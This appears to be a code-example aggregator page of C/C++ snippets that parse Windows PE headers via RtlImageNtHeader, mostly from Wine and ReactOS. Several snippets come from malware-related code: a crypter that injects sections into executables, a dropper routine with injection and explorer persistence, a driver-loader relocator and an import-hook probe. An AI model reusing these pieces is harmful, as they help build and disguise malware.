Exemplo n.º 1
1
static inline NTSTATUS access_resource( HMODULE hmod, const IMAGE_RESOURCE_DATA_ENTRY *entry,
                                        void **ptr, ULONG *size )
#endif
{
    NTSTATUS status;

    __TRY
    {
        ULONG dirsize;

        if (!RtlImageDirectoryEntryToData( hmod, TRUE, IMAGE_DIRECTORY_ENTRY_RESOURCE, &dirsize ))
            status = STATUS_RESOURCE_DATA_NOT_FOUND;
        else
        {
            if (ptr)
            {
                if (is_data_file_module(hmod))
                {
                    HMODULE mod = (HMODULE)((ULONG_PTR)hmod & ~1);
                    *ptr = RtlImageRvaToVa( RtlImageNtHeader(mod), mod, entry->OffsetToData, NULL );
                }
                else *ptr = (char *)hmod + entry->OffsetToData;
            }
            if (size) *size = entry->Size;
            status = STATUS_SUCCESS;
        }
    }
    __EXCEPT_PAGE_FAULT
    {
        return GetExceptionCode();
    }
    __ENDTRY;
    return status;
}
Exemplo n.º 2
0
/*
 * @implemented
 */
BOOL WINAPI FreeLibrary(HINSTANCE hLibModule)
{
    NTSTATUS Status;
    PIMAGE_NT_HEADERS NtHeaders;

    if (LDR_IS_DATAFILE(hLibModule))
    {
        // FIXME: This SEH should go inside RtlImageNtHeader instead
        _SEH2_TRY
        {
            /* This is a LOAD_LIBRARY_AS_DATAFILE module, check if it's a valid one */
            NtHeaders = RtlImageNtHeader((PVOID)((ULONG_PTR)hLibModule & ~1));
        }
        _SEH2_EXCEPT(EXCEPTION_EXECUTE_HANDLER)
        {
            NtHeaders = NULL;
        } _SEH2_END

        if (NtHeaders)
        {
            /* Unmap view */
            Status = NtUnmapViewOfSection(NtCurrentProcess(), (PVOID)((ULONG_PTR)hLibModule & ~1));

            /* Unload alternate resource module */
            LdrUnloadAlternateResourceModule(hLibModule);
        }
        else
            Status = STATUS_INVALID_IMAGE_FORMAT;
    }
    else
    {
Exemplo n.º 3
0
//returns a pointer to the absolute linear address of the export section
//of the given module in memory using undocumented api
PIMAGE_EXPORT_DIRECTORY GetModuleExportDirectoryAddr(PVOID ModuleBaseAddr)
{
    PIMAGE_NT_HEADERS pHeader = NULL;
    PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
    NTSTATUS ns=STATUS_INVALID_PARAMETER;
    PIMAGE_EXPORT_DIRECTORY pExportDirectory=NULL; //this is what we return

	//returns a pointer to the linear address of the IMAGE_NT_HEADERS
	//structure in memory of the given module using undocumented API
	pHeader=RtlImageNtHeader(ModuleBaseAddr);

	//if the IMAGE_NT_HEADERS structure actually exists in the module's address space
    if (pHeader != NULL)
	{
		//the data directory is at a given offset from the optional_header
		pDataDirectory=pHeader->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;

		//if the virtual address is NOT null and its size is within the export directory structure,
		//then we consider this a valid address and return the module base addr+this address
        if (pDataDirectory->VirtualAddress && (pDataDirectory->Size >= sizeof(IMAGE_EXPORT_DIRECTORY)))
			return (PVOID)((PBYTE)ModuleBaseAddr+(DWORD)pDataDirectory->VirtualAddress);
		else
			return NULL;
	}

	return NULL;
}
Exemplo n.º 4
0
ULONG
GetImageCodeBase(
    IN PVOID ImageBase
)
/*++

Routine Description:

    This routine determines the base of the code for this image.

Arguments:

    ImageBase -- Supplies the base of the data mapped image in memory

Return Value:

    Base of the code in this image

BUGBUG:

    Do we need to determine if this field is valid?

--*/
{
    return (RtlImageNtHeader(ImageBase))->OptionalHeader.BaseOfCode;
}
Exemplo n.º 5
0
/***********************************************************************
 *           server_init_process_done
 */
NTSTATUS server_init_process_done(void)
{
    PEB *peb = NtCurrentTeb()->Peb;
    IMAGE_NT_HEADERS *nt = RtlImageNtHeader( peb->ImageBaseAddress );
    NTSTATUS status;

    /* Install signal handlers; this cannot be done earlier, since we cannot
     * send exceptions to the debugger before the create process event that
     * is sent by REQ_INIT_PROCESS_DONE.
     * We do need the handlers in place by the time the request is over, so
     * we set them up here. If we segfault between here and the server call
     * something is very wrong... */
    signal_init_process();

    /* Signal the parent process to continue */
    SERVER_START_REQ( init_process_done )
    {
        req->module   = wine_server_client_ptr( peb->ImageBaseAddress );
#ifdef __i386__
        req->ldt_copy = wine_server_client_ptr( &wine_ldt_copy );
#endif
        req->entry    = wine_server_client_ptr( (char *)peb->ImageBaseAddress + nt->OptionalHeader.AddressOfEntryPoint );
        req->gui      = (nt->OptionalHeader.Subsystem != IMAGE_SUBSYSTEM_WINDOWS_CUI);
        status = wine_server_call( req );
    }
    SERVER_END_REQ;

    return status;
}
Exemplo n.º 6
0
/* call the driver init entry point */
static NTSTATUS init_driver( HMODULE module, UNICODE_STRING *keyname )
{
    unsigned int i;
    NTSTATUS status;
    const IMAGE_NT_HEADERS *nt = RtlImageNtHeader( module );

    if (!nt->OptionalHeader.AddressOfEntryPoint) return STATUS_SUCCESS;

    driver_obj.Size            = sizeof(driver_obj);
    driver_obj.DriverSection   = find_ldr_module( module );
    driver_obj.DriverInit      = (PDRIVER_INITIALIZE)((char *)module + nt->OptionalHeader.AddressOfEntryPoint);
    driver_obj.DriverExtension = &driver_extension;

    driver_extension.DriverObject   = &driver_obj;
    driver_extension.ServiceKeyName = *keyname;

    if (WINE_TRACE_ON(relay))
        WINE_DPRINTF( "%04x:Call driver init %p (obj=%p,str=%s)\n", GetCurrentThreadId(),
                      driver_obj.DriverInit, &driver_obj, wine_dbgstr_w(keyname->Buffer) );

    status = driver_obj.DriverInit( &driver_obj, keyname );

    if (WINE_TRACE_ON(relay))
        WINE_DPRINTF( "%04x:Ret  driver init %p (obj=%p,str=%s) retval=%08x\n", GetCurrentThreadId(),
                      driver_obj.DriverInit, &driver_obj, wine_dbgstr_w(keyname->Buffer), status );

    WINE_TRACE( "init done for %s obj %p\n", wine_dbgstr_w(driver_name), &driver_obj );
    WINE_TRACE( "- DriverInit = %p\n", driver_obj.DriverInit );
    WINE_TRACE( "- DriverStartIo = %p\n", driver_obj.DriverStartIo );
    WINE_TRACE( "- DriverUnload = %p\n", driver_obj.DriverUnload );
    for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++)
        WINE_TRACE( "- MajorFunction[%d] = %p\n", i, driver_obj.MajorFunction[i] );

    return status;
}
Exemplo n.º 7
0
BOOL UtiSetFileDllFlag(LPCSTR lpPath)
{
	BOOL bRet = FALSE;
	DWORD dwSize;
	PVOID pMap;
	PIMAGE_NT_HEADERS pNtHeader;
	DWORD HeaderSum, CheckSum;
	
	pMap = UtiMapFile(lpPath, GENERIC_WRITE|GENERIC_READ, FILE_FLAG_WRITE_THROUGH, PAGE_READWRITE, FILE_MAP_WRITE|FILE_MAP_READ, &dwSize);
	if (pMap)
	{
		pNtHeader = (PIMAGE_NT_HEADERS)RtlImageNtHeader(pMap);
		if (pNtHeader)
		{
			pNtHeader->FileHeader.Characteristics |= IMAGE_FILE_DLL;

			bRet = (BOOL)CheckSumMappedFile(pMap, dwSize, &HeaderSum, &CheckSum);
			if (bRet) pNtHeader->OptionalHeader.CheckSum = CheckSum;
		}

		FlushViewOfFile(pMap, dwSize);
		UnmapViewOfFile(pMap);
	}

	return bRet;
}
Exemplo n.º 8
0
static NTSTATUS LdrpAccessResource( PVOID BaseAddress, IMAGE_RESOURCE_DATA_ENTRY *entry,
                                    void **ptr, ULONG *size )
#endif
{
    NTSTATUS status = STATUS_SUCCESS;

    _SEH2_TRY
    {
        ULONG dirsize;

        if (!RtlImageDirectoryEntryToData( BaseAddress, TRUE, IMAGE_DIRECTORY_ENTRY_RESOURCE, &dirsize ))
            status = STATUS_RESOURCE_DATA_NOT_FOUND;
        else
        {
            if (ptr)
            {
                if (is_data_file_module(BaseAddress))
                {
                    PVOID mod = (PVOID)((ULONG_PTR)BaseAddress & ~1);
                    *ptr = RtlImageRvaToVa( RtlImageNtHeader(mod), mod, entry->OffsetToData, NULL );
                }
                else *ptr = (char *)BaseAddress + entry->OffsetToData;
            }
            if (size) *size = entry->Size;
        }
    }
    _SEH2_EXCEPT(page_fault(_SEH2_GetExceptionCode()))
    {
        status = _SEH2_GetExceptionCode();
    }
    _SEH2_END;
    return status;
}
Exemplo n.º 9
0
/*
* SfcVerifyFile
*
* Purpose:
*
* Verify file to be legit ZeroAccess signed binary.
*
*/
BOOL SfcVerifyFile(
	_In_ HCRYPTPROV  hProv,
	_In_ HCRYPTKEY hKey,
	_In_ MD5_CTX *ctx,
	_In_ PBYTE Image,
	_In_ DWORD ImageSize
	)
{
	HCRYPTHASH          lh_hash = 0;
	ULONG               CRC, SignSize = 0;
	BYTE                e_sign[128];
	PBYTE               p_resource_sign;
	PIMAGE_NT_HEADERS32 phdr;
	BOOL                bResult = FALSE;
	LDR_RESOURCE_INFO   resInfo;

	phdr = (PIMAGE_NT_HEADERS32)RtlImageNtHeader(Image);
	while (phdr != NULL) {

		resInfo.Type = (ULONG_PTR)RT_RCDATA; //type
		resInfo.Name = 1;           //id
		resInfo.Lang = 0;          //lang

		p_resource_sign = SfLdrQueryResourceDataEx(Image, &resInfo, &SignSize);
		if (p_resource_sign == NULL)
			break;

		if (SignSize != 128)
			break;

		if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &lh_hash))
			break;

		CRC = phdr->OptionalHeader.CheckSum;

		memcpy(e_sign, p_resource_sign, sizeof(e_sign));
		memset(p_resource_sign, 0, sizeof(e_sign));

		phdr->OptionalHeader.CheckSum = 0;

		MD5Update(ctx, Image, ImageSize);

		phdr->OptionalHeader.CheckSum = CRC;
		memcpy(p_resource_sign, e_sign, sizeof(e_sign));

		MD5Final(ctx);

		if (!CryptSetHashParam(lh_hash, HP_HASHVAL, (const BYTE *)&ctx->digest, 0)) {
			CryptDestroyHash(lh_hash);
			break;
		}

		bResult = CryptVerifySignatureW(lh_hash, (const BYTE *)&e_sign, sizeof(e_sign), hKey, 0, 0);
		CryptDestroyHash(lh_hash);
		break;
	}
	return bResult;
}
Exemplo n.º 10
0
PVOID
RvaToSeekAddress(
    IN PVOID Rva,
    IN PVOID ImageBase
)
/*++

Routine Description:

    This routine converts a relative virtual address to a seek address

Arguments:

    Rva -- Supplies the relative virtual address
    ImageBase -- Supplies the base of the image

Return Value:

    Returns the seek address of the specified Rva

--*/
{
    ULONG i;
    ULONG NumberOfSections;
    PIMAGE_SECTION_HEADER ImageSection;
    PVOID SeekAddress;

    //
    // Form address of section headers
    //

    (PIMAGE_NT_HEADERS)ImageSection = RtlImageNtHeader(ImageBase);

    NumberOfSections = ((PIMAGE_NT_HEADERS)ImageSection)->FileHeader.NumberOfSections;

    ImageSection = (PVOID)((ULONG)ImageSection +
                           sizeof(ULONG) +
                           sizeof(IMAGE_FILE_HEADER) +
                           ((PIMAGE_NT_HEADERS)ImageSection)->FileHeader.SizeOfOptionalHeader);

    //
    // Find the section containing this rva
    //

    SeekAddress = NULL;
    for (i = 0; i < NumberOfSections; i++, ImageSection++) {
        if ((Rva >= (PVOID)ImageSection->VirtualAddress) &&
                (Rva < (PVOID)(ImageSection->VirtualAddress + ImageSection->SizeOfRawData))
           ) {
            SeekAddress = (PVOID)((ULONG)Rva - ImageSection->VirtualAddress +
                                  ImageSection->PointerToRawData);
            break;
        }
    }

    return SeekAddress;
}
Exemplo n.º 11
0
/******************************************************************
 *		pe_load_native_module
 *
 */
struct module* pe_load_native_module(struct process* pcs, const WCHAR* name,
                                     HANDLE hFile, DWORD base, DWORD size)
{
    struct module*      module = NULL;
    BOOL                opened = FALSE;
    HANDLE              hMap;
    WCHAR               loaded_name[MAX_PATH];

    loaded_name[0] = '\0';
    if (!hFile)
    {

        assert(name);

        if ((hFile = FindExecutableImageExW(name, pcs->search_path, loaded_name, NULL, NULL)) == NULL)
            return NULL;
        opened = TRUE;
    }
    else if (name) strcpyW(loaded_name, name);
    else if (dbghelp_options & SYMOPT_DEFERRED_LOADS)
        FIXME("Trouble ahead (no module name passed in deferred mode)\n");

    if ((hMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) != NULL)
    {
        void*   mapping;

        if ((mapping = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)) != NULL)
        {
            IMAGE_NT_HEADERS*   nth = RtlImageNtHeader(mapping);

            if (nth)
            {
                if (!base) base = nth->OptionalHeader.ImageBase;
                if (!size) size = nth->OptionalHeader.SizeOfImage;

                module = module_new(pcs, loaded_name, DMT_PE, FALSE, base, size,
                                    nth->FileHeader.TimeDateStamp,
                                    nth->OptionalHeader.CheckSum);
                if (module)
                {
                    if (dbghelp_options & SYMOPT_DEFERRED_LOADS)
                        module->module.SymType = SymDeferred;
                    else
                        pe_load_debug_info(pcs, module);
                }
                else
                    ERR("could not load the module '%s'\n", debugstr_w(loaded_name));
            }
            UnmapViewOfFile(mapping);
        }
        CloseHandle(hMap);
    }
    if (opened) CloseHandle(hFile);

    return module;
}
DWORD Crypter::freeSpaceInHeader(PVOID pvPEBase){

	PIMAGE_NT_HEADERS pNtHeaders = RtlImageNtHeader(pvPEBase);
	if (pNtHeaders)	{
		PIMAGE_SECTION_HEADER pFirstSection = IMAGE_FIRST_SECTION(pNtHeaders);
		return (pFirstSection->PointerToRawData - ((DWORD)pFirstSection - (DWORD)pvPEBase) - (pNtHeaders->FileHeader.NumberOfSections * IMAGE_SIZEOF_SECTION_HEADER));
	}

	return 0;
}
Exemplo n.º 13
0
VOID GetStaticInformation()
{
	MEMORY_BASIC_INFORMATION pMemInfo;

	VirtualQuery(GetStaticInformation,&pMemInfo,sizeof(pMemInfo));

	g_pvImageBase = pMemInfo.AllocationBase;
	g_dwImageSize = RtlImageNtHeader(pMemInfo.AllocationBase)->OptionalHeader.SizeOfImage;

	g_bAdmin = CheckAdmin();
	g_bUAC = CheckUAC();
}
Exemplo n.º 14
0
static void* pe_map_full(struct image_file_map* fmap, IMAGE_NT_HEADERS** nth)
{
    if (!fmap->u.pe.full_map)
    {
        fmap->u.pe.full_map = MapViewOfFile(fmap->u.pe.hMap, FILE_MAP_READ, 0, 0, 0);
    }
    if (fmap->u.pe.full_map)
    {
        if (nth) *nth = RtlImageNtHeader(fmap->u.pe.full_map);
        fmap->u.pe.full_count++;
        return fmap->u.pe.full_map;
    }
    return IMAGE_NO_MAP;
}
Exemplo n.º 15
0
//move to zacrypto.c
//@@implemented in harusame
VOID SfcZAVerifyFile(
	HCRYPTPROV  hProv,
	HCRYPTKEY hKey,
	MD5_CTX *ctx,		
	PBYTE Image,		
	DWORD ImageSize		
	)
{
	HCRYPTHASH          lh_hash = 0; 
	ULONG               CRC, SignSize = 0; 
	BYTE                e_sign[128];
	PBYTE               p_resource_sign; 
	PIMAGE_NT_HEADERS32 phdr; 

	phdr = (PIMAGE_NT_HEADERS32)RtlImageNtHeader(Image);
	while (phdr != NULL) {

		p_resource_sign = SfuQueryResourceData(3, Image, &SignSize);
		if (p_resource_sign == NULL)
			break;

		if (SignSize != 128)
			break;

		if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &lh_hash))
			break;

		CRC = phdr->OptionalHeader.CheckSum;

		memcpy(e_sign, p_resource_sign, sizeof(e_sign));
		memset(p_resource_sign, 0, sizeof(e_sign));

		phdr->OptionalHeader.CheckSum = 0;

		MD5Update(ctx, Image, ImageSize);

		phdr->OptionalHeader.CheckSum = CRC;

		memcpy(p_resource_sign, e_sign, sizeof(e_sign));
		MD5Final(ctx);
		if (!CryptSetHashParam(lh_hash, HP_HASHVAL, (const BYTE *)&ctx->digest, 0)) {
			CryptDestroyHash(lh_hash);
			break;
		}

		CryptVerifySignatureW(lh_hash, (const BYTE *)&e_sign, sizeof(e_sign), hKey, 0, 0);
		break;
	}
}
Exemplo n.º 16
0
/***********************************************************************
 *		CheckSumMappedFile (IMAGEHLP.@)
 */
PIMAGE_NT_HEADERS WINAPI CheckSumMappedFile(
  LPVOID BaseAddress, DWORD FileLength,
  LPDWORD HeaderSum, LPDWORD CheckSum)
{
  PIMAGE_NT_HEADERS Header;
  DWORD CalcSum;
  DWORD HdrSum;

  FIXME("(%p, %ld, %p, %p): stub\n",
    BaseAddress, FileLength, HeaderSum, CheckSum
  );

  CalcSum = (DWORD)CalcCheckSum(0,
				BaseAddress,
				(FileLength + 1) / sizeof(WORD));

  Header = RtlImageNtHeader(BaseAddress);
  HdrSum = Header->OptionalHeader.CheckSum;

  /* Subtract image checksum from calculated checksum. */
  /* fix low word of checksum */
  if (LOWORD(CalcSum) >= LOWORD(HdrSum))
  {
    CalcSum -= LOWORD(HdrSum);
  }
  else
  {
    CalcSum = ((LOWORD(CalcSum) - LOWORD(HdrSum)) & 0xFFFF) - 1;
  }

   /* fix high word of checksum */
  if (LOWORD(CalcSum) >= HIWORD(HdrSum))
  {
    CalcSum -= HIWORD(HdrSum);
  }
  else
  {
    CalcSum = ((LOWORD(CalcSum) - HIWORD(HdrSum)) & 0xFFFF) - 1;
  }

  /* add file length */
  CalcSum += FileLength;

  *CheckSum = CalcSum;
  *HeaderSum = Header->OptionalHeader.CheckSum;

  return Header;
}
Exemplo n.º 17
0
BOOLEAN
WINAPI
CallPerInstanceInitFunctions (
    _In_ PSVCHOST_OPTIONS pOptions
    )
{
    PIMAGE_NT_HEADERS pNtHeaders;
    BOOLEAN bResult;

    /* Is COM required for this host? */
    if (pOptions->CoInitializeSecurityParam != 0)
    {
        /* Yes, initialize COM security and parameters */
        bResult = InitializeSecurity(pOptions->CoInitializeSecurityParam,
                                     pOptions->AuthenticationLevel,
                                     pOptions->ImpersonationLevel,
                                     pOptions->AuthenticationCapabilities);
        if (bResult != TRUE) return FALSE;
    }

    /* Do we have a custom RPC stack size? */
    if (pOptions->DefaultRpcStackSize != 0)
    {
        /* Yes, go set it */
        RpcMgmtSetServerStackSize(pOptions->DefaultRpcStackSize << 10);
    }
    else
    {
        /* Nope, get the NT headers from the image */
        pNtHeaders = RtlImageNtHeader(NtCurrentPeb()->ImageBaseAddress);
        if (pNtHeaders)
        {
            /* And just use whatever the default thread stack is */
            RpcMgmtSetServerStackSize(pNtHeaders->OptionalHeader.SizeOfStackCommit);
        }
    }

    /* Is this host holding critical services? */
    if (pOptions->SystemCritical != FALSE)
    {
        /* Mark the process as critical if so */
        RtlSetProcessIsCritical(TRUE, NULL, TRUE);
    }

    /* All done */
    return TRUE;
}
Exemplo n.º 18
0
Arquivo: main.c Projeto: 453483289/TDL
/*
* TDLRelocImage
*
* Purpose:
*
* Process image relocs.
*
*/
void TDLRelocImage(
	ULONG_PTR Image,
	ULONG_PTR NewImageBase
	)
{
	PIMAGE_OPTIONAL_HEADER   popth;
	PIMAGE_BASE_RELOCATION   rel;
	DWORD_PTR                delta;
	LPWORD                   chains;
	DWORD                    c, p, rsz;

	popth = &RtlImageNtHeader((PVOID)Image)->OptionalHeader;

	if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC)
		if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
		{
			rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image +
				popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

			rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
			delta = (DWORD_PTR)NewImageBase - popth->ImageBase;
			c = 0;

			while (c < rsz) {
				p = sizeof(IMAGE_BASE_RELOCATION);
				chains = (LPWORD)((PBYTE)rel + p);

				while (p < rel->SizeOfBlock) {

					switch (*chains >> 12) {
					case IMAGE_REL_BASED_HIGHLOW:
						*(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta;
						break;
					case IMAGE_REL_BASED_DIR64:
						*(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta;
						break;
					}

					chains++;
					p += sizeof(WORD);
				}

				c += rel->SizeOfBlock;
				rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock);
			}
		}
Exemplo n.º 19
0
/***********************************************************************
 *           ImageDirectoryEntryToDataEx (DBGHELP.@)
 *
 * Search for specified directory in PE image
 *
 * PARAMS
 *
 *   base    [in]  Image base address
 *   image   [in]  TRUE - image has been loaded by loader, FALSE - raw file image
 *   dir     [in]  Target directory index
 *   size    [out] Receives directory size
 *   section [out] Receives pointer to section header of section containing directory data
 *
 * RETURNS
 *   Success: pointer to directory data
 *   Failure: NULL
 *
 */
PVOID WINAPI ImageDirectoryEntryToDataEx( PVOID base, BOOLEAN image, USHORT dir, PULONG size, PIMAGE_SECTION_HEADER *section )
{
    const IMAGE_NT_HEADERS *nt;
    DWORD addr;

    *size = 0;
    if (section) *section = NULL;

    if (!(nt = RtlImageNtHeader( base ))) return NULL;
    if (dir >= nt->OptionalHeader.NumberOfRvaAndSizes) return NULL;
    if (!(addr = nt->OptionalHeader.DataDirectory[dir].VirtualAddress)) return NULL;

    *size = nt->OptionalHeader.DataDirectory[dir].Size;
    if (image || addr < nt->OptionalHeader.SizeOfHeaders) return (char *)base + addr;

    return RtlImageRvaToVa( nt, base, addr, section );
}
Exemplo n.º 20
0
PIMAGE_SECTION_HEADER InsertSectionHeader(PVOID pvPEBase,LPCSTR lpName,DWORD dwVirtualSize,DWORD dwCharacteristics,PDWORD pdwSize)
{
	if (strlen(lpName) > 7) 
	{
		return NULL;
	}

	if (FreeSpaceInHeader(pvPEBase) < IMAGE_SIZEOF_SECTION_HEADER) 
	{
		return NULL;
	}

	PIMAGE_NT_HEADERS pNtHeaders = RtlImageNtHeader(pvPEBase);
	if (!pNtHeaders) 
	{
		return NULL;
	}

	DWORD dwSizeOfRawData = ALIGN_UP(dwVirtualSize,pNtHeaders->OptionalHeader.FileAlignment);
	dwVirtualSize = ALIGN_UP(dwVirtualSize,pNtHeaders->OptionalHeader.SectionAlignment);

	PIMAGE_SECTION_HEADER pNewSection = (PIMAGE_SECTION_HEADER)malloc(IMAGE_SIZEOF_SECTION_HEADER);
	if (!pNewSection) 
	{
		return NULL;
	}

	memcpy((PVOID)(&pNewSection->Name),(PVOID)lpName,strlen(lpName));
	pNewSection->Characteristics = dwCharacteristics;
	pNewSection->Misc.VirtualSize = dwVirtualSize;
	pNewSection->SizeOfRawData = dwSizeOfRawData;

	PIMAGE_SECTION_HEADER pVirtualLastSection = GetVirtualyLastSectionHeader(pNtHeaders);
	pNewSection->VirtualAddress = pVirtualLastSection->VirtualAddress + ALIGN_UP(pVirtualLastSection->Misc.VirtualSize,pNtHeaders->OptionalHeader.SectionAlignment);	
	
	if (dwSizeOfRawData)
	{ 
		PIMAGE_SECTION_HEADER pLastSection = GetPhysicalyLastSectionHeader(pNtHeaders);

		pNewSection->PointerToRawData = pLastSection->PointerToRawData + ALIGN_UP(pLastSection->SizeOfRawData,pNtHeaders->OptionalHeader.FileAlignment);
	}
	
	*pdwSize = dwVirtualSize;

	return pNewSection;
}
BOOL Crypter::insertSectionConfigInPE(PVOID pvPEBase,DWORD dwPESize,PVOID pvData,DWORD dwDataSize,PVOID *ppvNewPE,DWORD *pdwNewPESize){
	BOOL bRet = FALSE;
	PIMAGE_SECTION_HEADER pNewSection;
	DWORD dwSize;
	if (pNewSection = Crypter::insertSectionHeader( pvPEBase, Crypter::section, dwDataSize, IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ,&dwSize)){
		PVOID pvNewPE;
		DWORD dwNewPESize = pNewSection->PointerToRawData + pNewSection->SizeOfRawData;

		if (pvNewPE = malloc(dwNewPESize)){
			memcpy(pvNewPE, pvPEBase, dwPESize);

			PIMAGE_NT_HEADERS pNtHeaders = RtlImageNtHeader(pvNewPE);

			++(pNtHeaders->FileHeader.NumberOfSections);

			PIMAGE_SECTION_HEADER pVirtualLastSection = Crypter::getVirtualyLastSectionHeader(pNtHeaders);
			pVirtualLastSection[0] = *pNewSection;

			pNtHeaders->OptionalHeader.SizeOfImage += dwSize;

			memcpy((PVOID)((DWORD)pvNewPE + pNewSection->PointerToRawData),pvData,dwDataSize);

			DWORD dwHeaderSum, dwCheckSum;

			if (CheckSumMappedFile(pvNewPE,dwNewPESize,&dwHeaderSum,&dwCheckSum)){
				pNtHeaders->OptionalHeader.CheckSum = dwCheckSum;

				*ppvNewPE = pvNewPE;
				*pdwNewPESize = dwNewPESize;

				bRet = TRUE;
			}

			if (!bRet) free(pvNewPE);
		} else {
			MYPRINTF(" malloc(dwNewPESize)\n");
		}

		free(pNewSection);
	} else {
		MYPRINTF("!insertSectionHeader\n");
	}
	return bRet;
}
Exemplo n.º 22
0
DWORD Drop::InjectStartThread(PVOID Context)
{
	OutputDebugStringA("fsdsad");

	PCHAR CurrentProcess = PathFindFileName(Drop::CurrentModulePath);

	DbgMsg(__FUNCTION__"(): inject '%s' (x%s) !!!\n", CurrentProcess, RtlImageNtHeader(Drop::CurrentImageBase)->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64 ? "64" : "32");

	Config::ReadConfig();

	// Если мы эксплорер и это первый запуск наш в этой системе записываем себя в авторан и все дела
	if (!lstrcmpi(CurrentProcess, "explorer.exe") && Utils::CreateCheckMutex(DROP_EXP_MUTEX_ID, Drop::GetMachineGuid()))
	{	
		Protect::StartProtect();
		Utils::ThreadCreate(Server::ServerLoopThread, NULL, NULL);
	}

	return 0;
}
Exemplo n.º 23
0
PVOID ProbeInvokeCreateProcessAddress()
{
    PVOID               Shell32, Shell32CreateProcessW, CreateProcessW;
    PLDR_MODULE         Shell32Module, MainModule;
    SHELLEXECUTEINFOW   ExecuteInfo;
    PIMAGE_NT_HEADERS   NtHeaders;

    Shell32 = Ldr::LoadDll(L"Shell32.dll");

    Shell32CreateProcessW = PtrAdd(Shell32, IATLookupRoutineRVAByHashNoFix(Shell32, KERNEL32_CreateProcessW));

    MainModule = FindLdrModuleByHandle(nullptr);

    RtlDuplicateUnicodeString(RTL_DUPSTR_ADD_NULL, &MainModule->FullDllName, &ProbeApplicationName);
    RtlInitUnicodeString(&ProbeCommandLine, L"ML_PROBE_APPLICATION_COMMAMD_LINE");

    ZeroMemory(&ExecuteInfo, sizeof(ExecuteInfo));

    ExecuteInfo.cbSize          = sizeof(ExecuteInfo);
    ExecuteInfo.fMask           = SEE_MASK_NOASYNC | SEE_MASK_FLAG_NO_UI;
    ExecuteInfo.lpVerb          = L"open";
    ExecuteInfo.lpFile          = ProbeApplicationName.Buffer;
    ExecuteInfo.lpParameters    = ProbeCommandLine.Buffer;
    ExecuteInfo.lpDirectory     = ProbeApplicationName.Buffer;
    ExecuteInfo.nShow           = SW_SHOW;

    *(PVOID *)&Shell32CreateProcessWIAT = Shell32CreateProcessW;
    *(PVOID *)&Shell32CreateProcessWPtr = *(PVOID *)Shell32CreateProcessWIAT;

    CreateProcessW = ProbeInvokeCreateProcessW;
    WriteProtectMemory(CurrentProcess, Shell32CreateProcessW, &CreateProcessW, sizeof(CreateProcessW));
    ShellExecuteExW(&ExecuteInfo);
    WriteProtectMemory(CurrentProcess, Shell32CreateProcessW, &Shell32CreateProcessWPtr, sizeof(Shell32CreateProcessWPtr));

    RtlFreeUnicodeString(&ProbeApplicationName);

    NtHeaders = RtlImageNtHeader(Shell32);

    if (InvokeReturnAddress < Shell32 || InvokeReturnAddress > PtrAdd(Shell32, NtHeaders->OptionalHeader.SizeOfImage))
        return nullptr;

    return InvokeReturnAddress;
}
Exemplo n.º 24
0
PVOID NTAPI
IntVideoPortImageDirectoryEntryToData(
   PVOID BaseAddress,
   ULONG Directory)
{
   PIMAGE_NT_HEADERS NtHeader;
   ULONG Va;

   NtHeader = RtlImageNtHeader(BaseAddress);
   if (NtHeader == NULL)
      return NULL;

   if (Directory >= NtHeader->OptionalHeader.NumberOfRvaAndSizes)
      return NULL;

   Va = NtHeader->OptionalHeader.DataDirectory[Directory].VirtualAddress;
   if (Va == 0)
      return NULL;

   return (PVOID)((ULONG_PTR)BaseAddress + Va);
}
Exemplo n.º 25
0
/***********************************************************************
 *           KERNEL process initialisation routine
 */
static BOOL process_attach( HMODULE module )
{
    RTL_USER_PROCESS_PARAMETERS *params = NtCurrentTeb()->Peb->ProcessParameters;

    /* Setup registry locale information */
    LOCALE_InitRegistry();

    /* Setup computer name */
    COMPUTERNAME_Init();

    CONSOLE_Init(params);

    /* copy process information from ntdll */
    ENV_CopyStartupInformation();

    if (!(GetVersion() & 0x80000000))
    {
        /* Securom checks for this one when version is NT */
        set_entry_point( module, "FT_Thunk", 0 );
    }
    else LoadLibraryA( "krnl386.exe16" );

    /* finish the process initialisation for console bits, if needed */
    __wine_set_signal_handler(SIGINT, CONSOLE_HandleCtrlC);

    if (params->ConsoleHandle == KERNEL32_CONSOLE_ALLOC)
    {
        HMODULE mod = GetModuleHandleA(0);
        if (RtlImageNtHeader(mod)->OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_CUI)
            AllocConsole();
    }
    /* else TODO for DETACHED_PROCESS:
     * 1/ inherit console + handles
     * 2/ create std handles, if handles are not inherited
     * TBD when not using wineserver handles for console handles
     */

    return TRUE;
}
Exemplo n.º 26
0
HHOOK SetWindowsHookExAW(
    int idHook,
    HOOKPROC lpfn,
    HINSTANCE hmod,
    DWORD dwThreadID,
    DWORD dwFlags)
{
    WCHAR pwszLibFileName[MAX_PATH];

    /*
     * If we're passing an hmod, we need to grab the file name of the
     * module while we're still on the client since module handles
     * are NOT global.
     */
    if (hmod != NULL) {
        if (GetModuleFileNameW(hmod, pwszLibFileName,
                sizeof(pwszLibFileName)/sizeof(TCHAR)) == 0) {

            /*
             * hmod is bogus - return NULL.
             */
            return NULL;
        }

#ifdef WX86
        try {
           if (RtlImageNtHeader(hmod)->FileHeader.Machine == IMAGE_FILE_MACHINE_I386) {
               dwFlags |= HF_WX86KNOWNDLL;
           }
